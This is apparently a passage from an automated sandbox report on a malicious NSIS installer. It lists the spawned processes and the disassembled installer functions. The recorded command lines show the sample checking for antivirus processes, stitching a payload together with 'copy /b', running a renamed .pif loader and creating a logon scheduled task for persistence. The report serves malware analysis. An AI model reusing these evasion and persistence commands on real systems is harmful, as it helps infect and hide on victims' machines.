Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:13:41
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xa40000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:13:41
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
Imagebase:	0xcd0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:13:41
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 369580
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:13:41
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "MaskBathroomsCompoundInjection" Participants
Imagebase:	0xcd0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:13:42
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:13:42
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
Wow64 process (32bit):	true
Commandline:	369580\Origin.pif 369580\Z
Imagebase:	0xbd0000
File size:	937'776 bytes
MD5 hash:	B06E67F9767E5023892D9698703AD098
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	05:13:44
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 15
Imagebase:	0xdb0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:13:44
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST
Imagebase:	0x5f0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:13:44
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:13:46
Start date:	27/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js"
Imagebase:	0x7ff74d9d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:13:49
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r"
Imagebase:	0x490000
File size:	937'776 bytes
MD5 hash:	B06E67F9767E5023892D9698703AD098
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.6%
Total number of Nodes:	1523
Total number of Limit Nodes:	37

Executed Functions

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

\Temp, xrefs: 00403A1B
_?=, xrefs: 00403A64
1C, xrefs: 00403B56
NSIS Error, xrefs: 004038E2
SeShutdownPrivilege, xrefs: 00403C16
/D=, xrefs: 004039A6
Error launching installer, xrefs: 00403A7D
NCRC, xrefs: 0040397C
~nsu.tmp, xrefs: 00403AF7

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNEL32(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

CreateDirectory: "%s" created, xrefs: 00401849
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Jump: %d, xrefs: 00401602
Aborting: "%s", xrefs: 0040161D
BringToFront, xrefs: 004016BD
SetFileAttributes failed., xrefs: 004017A1
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename on reboot: %s, xrefs: 00401943
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Rename: %s, xrefs: 004018F8
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Sleep(%d), xrefs: 0040169D
CreateDirectory: "%s" (%d), xrefs: 004017BF
detailprint: %s, xrefs: 00401679
Call: %d, xrefs: 0040165A
Rename failed: %s, xrefs: 0040194B

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: 2a82ad59b9370b3cc3d5141fac41001cfacad1d5dd7d37275e8bf63d0114621f
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: 2a82ad59b9370b3cc3d5141fac41001cfacad1d5dd7d37275e8bf63d0114621f
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNEL32(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

@%F, xrefs: 004059F6
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
@rD, xrefs: 00405965
B%F, xrefs: 00405A1F
RichEd32, xrefs: 00405BA8
RichEdit, xrefs: 00405BC4
.DEFAULT\Control Panel\International, xrefs: 00405999
_Nb, xrefs: 00405AD1
RichEdit20A, xrefs: 00405BB6, 00405BBB
RichEd20, xrefs: 00405B9D
.exe, xrefs: 00405A3D

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user abort, xrefs: 00401B53
File: error, user retry, xrefs: 00401B40
File: error creating "%s", xrefs: 00401AF0
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
open, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user cancel, xrefs: 00401B93

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
API String ID: 4286501637-2478300759
Opcode ID: 2ab80255bde4e5d1782dd9130ab292fdec73e4a72f9567b243a786bab725b233
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: 2ab80255bde4e5d1782dd9130ab292fdec73e4a72f9567b243a786bab725b233
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Inst, xrefs: 0040366C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E
soft, xrefs: 00403675
Error launching installer, xrefs: 004035D7

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
